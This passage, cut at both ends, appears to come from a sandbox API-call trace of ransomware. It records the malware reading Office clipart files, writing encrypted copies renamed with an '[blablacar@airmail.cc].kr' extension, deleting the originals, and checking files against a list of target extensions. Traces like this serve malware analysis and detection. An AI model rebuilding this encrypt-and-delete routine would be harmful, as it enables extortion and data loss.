(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0191.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.233] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.233] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0191.234] GetLastError () returned 0x0 [0191.234] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x45ba, lpOverlapped=0x0) returned 1 [0191.237] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x45c0, lpOverlapped=0x0) returned 1 [0191.238] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0191.238] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0191.238] SetEndOfFile (hFile=0x534) returned 1 [0191.239] CloseHandle (hObject=0x534) returned 1 [0191.239] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.239] SetEndOfFile (hFile=0x544) returned 1 [0191.242] CloseHandle (hObject=0x544) returned 1 [0191.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0191.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.244] lstrlenW (lpString=".doc") returned 4 [0191.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.244] lstrlenW (lpString=".docx") returned 5 [0191.244] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.244] lstrlenW (lpString=".pdf") returned 4 [0191.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.244] lstrlenW (lpString=".xls") returned 4 [0191.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.244] lstrlenW (lpString=".xlsx") returned 5 [0191.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.244] lstrlenW (lpString=".ppt") returned 4 [0191.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.244] lstrlenW (lpString=".zip") returned 4 [0191.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.244] lstrlenW (lpString=".rar") returned 4 [0191.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.245] lstrlenW (lpString=".bz2") returned 4 [0191.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.245] lstrlenW (lpString=".7z") returned 3 [0191.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.245] lstrlenW (lpString=".dbf") returned 4 [0191.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.245] lstrlenW (lpString=".1cd") returned 4 [0191.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.245] lstrlenW (lpString=".jpg") returned 4 [0191.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.245] lstrlenW (lpString=".doc") returned 4 [0191.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.245] lstrlenW (lpString=".docx") returned 5 [0191.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.245] lstrlenW (lpString=".pdf") returned 4 [0191.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.245] lstrlenW (lpString=".xls") returned 4 [0191.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.245] lstrlenW (lpString=".xlsx") returned 5 [0191.245] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.245] lstrlenW (lpString=".ppt") returned 4 [0191.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.246] lstrlenW (lpString=".zip") returned 4 [0191.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.246] lstrlenW (lpString=".rar") returned 4 [0191.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.246] lstrlenW (lpString=".bz2") returned 4 [0191.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.246] lstrlenW (lpString=".7z") returned 3 [0191.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.246] lstrlenW (lpString=".dbf") returned 4 [0191.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.246] lstrlenW (lpString=".1cd") returned 4 [0191.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0191.246] lstrlenW (lpString=".jpg") returned 4 [0191.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.246] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.246] lstrlenW (lpString="FD00076_.WMF") returned 12 [0191.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.247] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=11994) returned 1 [0191.247] CloseHandle (hObject=0x544) returned 1 [0191.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0191.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.248] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.248] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0191.248] GetLastError () returned 0x0 [0191.248] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2eda, lpOverlapped=0x0) returned 1 [0191.250] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2ee0, lpOverlapped=0x0) returned 1 [0191.251] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0191.251] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0191.252] SetEndOfFile (hFile=0x534) returned 1 [0191.252] CloseHandle (hObject=0x534) returned 1 [0191.252] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.252] SetEndOfFile (hFile=0x544) returned 1 [0191.255] CloseHandle (hObject=0x544) returned 1 [0191.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0191.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.520] lstrlenW (lpString=".doc") returned 4 [0191.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.520] lstrlenW (lpString=".docx") returned 5 [0191.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.520] lstrlenW (lpString=".pdf") returned 4 [0191.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.520] lstrlenW (lpString=".xls") returned 4 [0191.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.520] lstrlenW (lpString=".xlsx") returned 5 [0191.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.520] lstrlenW (lpString=".ppt") returned 4 [0191.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.520] lstrlenW (lpString=".zip") returned 4 [0191.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.520] lstrlenW (lpString=".rar") returned 4 [0191.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.520] lstrlenW (lpString=".bz2") returned 4 [0191.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.520] lstrlenW (lpString=".7z") returned 3 [0191.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.520] lstrlenW (lpString=".dbf") returned 4 [0191.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.521] lstrlenW (lpString=".1cd") returned 4 [0191.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.521] lstrlenW (lpString=".jpg") returned 4 [0191.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.521] lstrlenW (lpString=".doc") returned 4 [0191.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.521] lstrlenW (lpString=".docx") returned 5 [0191.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.521] lstrlenW (lpString=".pdf") returned 4 [0191.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.521] lstrlenW (lpString=".xls") returned 4 [0191.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.521] lstrlenW (lpString=".xlsx") returned 5 [0191.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.521] lstrlenW (lpString=".ppt") returned 4 [0191.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.521] lstrlenW (lpString=".zip") returned 4 [0191.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.521] lstrlenW (lpString=".rar") returned 4 [0191.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.521] lstrlenW (lpString=".bz2") returned 4 [0191.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.521] lstrlenW (lpString=".7z") returned 3 [0191.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.522] lstrlenW (lpString=".dbf") returned 4 [0191.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.522] lstrlenW (lpString=".1cd") returned 4 [0191.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0191.522] lstrlenW (lpString=".jpg") returned 4 [0191.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.522] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.522] lstrlenW (lpString="FD00086_.WMF") returned 12 [0191.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0191.523] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=29212) returned 1 [0191.523] CloseHandle (hObject=0x4d4) returned 1 [0191.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0191.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0191.524] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.524] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0191.525] GetLastError () returned 0x0 [0191.525] ReadFile (in: hFile=0x4d4, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x721c, lpOverlapped=0x0) returned 1 [0191.528] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x7220, lpOverlapped=0x0) returned 1 [0191.529] ReadFile (in: hFile=0x4d4, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0191.529] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0191.529] SetEndOfFile (hFile=0x540) returned 1 [0191.530] CloseHandle (hObject=0x540) returned 1 [0191.530] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.530] SetEndOfFile (hFile=0x4d4) returned 1 [0191.533] CloseHandle (hObject=0x4d4) returned 1 [0191.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0191.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.535] lstrlenW (lpString=".doc") returned 4 [0191.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.535] lstrlenW (lpString=".docx") returned 5 [0191.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.535] lstrlenW (lpString=".pdf") returned 4 [0191.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.535] lstrlenW (lpString=".xls") returned 4 [0191.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.535] lstrlenW (lpString=".xlsx") returned 5 [0191.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.535] lstrlenW (lpString=".ppt") returned 4 [0191.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.535] lstrlenW (lpString=".zip") returned 4 [0191.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.535] lstrlenW (lpString=".rar") returned 4 [0191.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.535] lstrlenW (lpString=".bz2") returned 4 [0191.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.535] lstrlenW (lpString=".7z") returned 3 [0191.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.536] lstrlenW (lpString=".dbf") returned 4 [0191.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.536] lstrlenW (lpString=".1cd") returned 4 [0191.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.536] lstrlenW (lpString=".jpg") returned 4 [0191.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.536] lstrlenW (lpString=".doc") returned 4 [0191.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.536] lstrlenW (lpString=".docx") returned 5 [0191.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.536] lstrlenW (lpString=".pdf") returned 4 [0191.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.536] lstrlenW (lpString=".xls") returned 4 [0191.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.536] lstrlenW (lpString=".xlsx") returned 5 [0191.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.536] lstrlenW (lpString=".ppt") returned 4 [0191.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.536] lstrlenW (lpString=".zip") returned 4 [0191.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.537] lstrlenW (lpString=".rar") returned 4 [0191.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.537] lstrlenW (lpString=".bz2") returned 4 [0191.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.537] lstrlenW (lpString=".7z") returned 3 [0191.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.537] lstrlenW (lpString=".dbf") returned 4 [0191.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.537] lstrlenW (lpString=".1cd") returned 4 [0191.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0191.537] lstrlenW (lpString=".jpg") returned 4 [0191.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.537] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.537] lstrlenW (lpString="FD00090_.WMF") returned 12 [0191.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0191.538] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=14194) returned 1 [0191.538] CloseHandle (hObject=0x4d4) returned 1 [0191.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0191.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft 